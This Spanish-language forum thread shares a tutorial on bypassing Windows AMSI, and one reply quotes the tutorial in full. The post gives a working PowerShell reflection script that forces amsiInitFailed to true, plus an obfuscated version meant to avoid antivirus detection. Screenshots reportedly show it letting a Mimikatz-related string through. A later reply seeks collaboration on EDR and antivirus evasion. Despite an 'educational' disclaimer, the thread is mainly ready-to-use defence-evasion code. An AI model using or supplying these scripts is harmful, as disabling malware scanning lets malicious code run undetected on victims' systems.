Guía de como evadir AMSI (versión fácil)


Buenas señores, vamos a ver en este post una guía sobre qué es AMSI y cómo podemos bypaserla.
Recordad que esto es con fines educativos y que no podéis hacerlo en un dispositivo ajeno sin autorización previa

Qué es AMSI y cómo funciona?

Son las siglas para Antimalware Scan Interface de Windows, y es un mecanismo de defensa que permite a aplicaciones escanear y bloquear comportamientos maliciosos en scripts o macros de componentes de Windows como podría ser PowerShell y Office365.
Para los ejemplos de hoy usaremos PowerShell.

Antes de que el script sea ejecutado, el contenido se le envía a AMSI mediante la API de Windows AmsiScanBuffer() que está en la DLL - amsi.dll

Si queremos, podemos comprobar que en el proceso - powershell.exe - está cargada la librería de AMSI, permitiendo así llamar a sus funciones.


1740492970557.png



Después de haberle enviado el contenido del script a AMSI, el Antivirus escanea su contenido y determina dos resultados:

1) Limpio
2) Malicioso - En caso de ser malicioso la ejecución se bloquea



Podemos testearlo simplemente escribiendo una cadena de texto que sabemos que se va a detectar como maliciosa (En este caso está relacionada con el modulo en PowerShell de Mimikatz)

1740491296929.png


Cómo podemos evadirlo?

Hay muchas técnicas para evadir AMSI, varias de ellas bastante complejas, sobre las cuales podríamos profundizar en otro post.

Hoy veremos un ejemplo usando .NET Reflection para modificar el estado de la AMSI en tiempo real ( Si alguien está interesado la técnica se llama "Matt Graebers Reflection method" ).

Sin entrar demasiado en detalle, existe una función clave de AMSI dentro de la implementación .NET de PowerShell llamada System.Management.Automation.AmsiUtils.
Esta tiene un campo llamado - amsiInitFailed - que decide si AMSI está activa o no.
Si conseguimos forzar el campo - amsiInitFailed a True - Desactivaremos la AMSI.

Vamos a hacer un pequeño script en PowerShell para esto:


$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)


Este script hace justo lo que hemos explicado anteriormente pero lo más probable es que lo detecte el Antivirus, así que simplemente añadiremos algo de ofuscación:


$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)


Para confirmar que la AMSI está desactivada, volveremos a escribir la cadena de texto que antes nos detectaba 🥷

1740494189168.png


Recordad que este script puede funcionar hoy y dejar de funcionar mañana, lo importante es entender el concepto y jugar con vuestras propias técnicas de ofuscación.

Cualquier feedback o duda es bienvenido,

cheers :coffee:
 

nieves444

4 4 4
Noderador
Nodero
Noder
Buenas señores, vamos a ver en este post una guía sobre qué es AMSI y cómo podemos bypaserla.
Recordad que esto es con fines educativos y que no podéis hacerlo en un dispositivo ajeno sin autorización previa

Qué es AMSI y cómo funciona?

Son las siglas para Antimalware Scan Interface de Windows, y es un mecanismo de defensa que permite a aplicaciones escanear y bloquear comportamientos maliciosos en scripts o macros de componentes de Windows como podría ser PowerShell y Office365.
Para los ejemplos de hoy usaremos PowerShell.

Antes de que el script sea ejecutado, el contenido se le envía a AMSI mediante la API de Windows AmsiScanBuffer() que está en la DLL - amsi.dll

Si queremos, podemos comprobar que en el proceso - powershell.exe - está cargada la librería de AMSI, permitiendo así llamar a sus funciones.


Ver el archivo adjunto 30450


Después de haberle enviado el contenido del script a AMSI, el Antivirus escanea su contenido y determina dos resultados:

1) Limpio
2) Malicioso - En caso de ser malicioso la ejecución se bloquea



Podemos testearlo simplemente escribiendo una cadena de texto que sabemos que se va a detectar como maliciosa (En este caso está relacionada con el modulo en PowerShell de Mimikatz)

Ver el archivo adjunto 30449

Cómo podemos evadirlo?

Hay muchas técnicas para evadir AMSI, varias de ellas bastante complejas, sobre las cuales podríamos profundizar en otro post.

Hoy veremos un ejemplo usando .NET Reflection para modificar el estado de la AMSI en tiempo real ( Si alguien está interesado la técnica se llama "Matt Graebers Reflection method" ).

Sin entrar demasiado en detalle, existe una función clave de AMSI dentro de la implementación .NET de PowerShell llamada System.Management.Automation.AmsiUtils.
Esta tiene un campo llamado - amsiInitFailed - que decide si AMSI está activa o no.
Si conseguimos forzar el campo - amsiInitFailed a True - Desactivaremos la AMSI.

Vamos a hacer un pequeño script en PowerShell para esto:


$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)


Este script hace justo lo que hemos explicado anteriormente pero lo más probable es que lo detecte el Antivirus, así que simplemente añadiremos algo de ofuscación:


$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)


Para confirmar que la AMSI está desactivada, volveremos a escribir la cadena de texto que antes nos detectaba 🥷

Ver el archivo adjunto 30451

Recordad que este script puede funcionar hoy y dejar de funcionar mañana, lo importante es entender el concepto y jugar con vuestras propias técnicas de ofuscación.

Cualquier feedback o duda es bienvenido,

cheers :coffee:
buen aporte tio, sigue asi!!
 
  • Like
Reacciones : netrunner

4rra

Miembro muy activo
Noderador
Nodero
Noder
Buen aporte!! Tienes experiencia en bypass de edr o avs? ando justo ahora dandole caña a ese tema. Amsi no es relativamente completo(en general el bypass en powershell) pero si lo quieres pasar a .exe o ofuscado en otros archivos ya hablamos de temas mas elevados. Si sbs y tienes contenido estaria encantado de hablar contigo, telegram @iam4rra.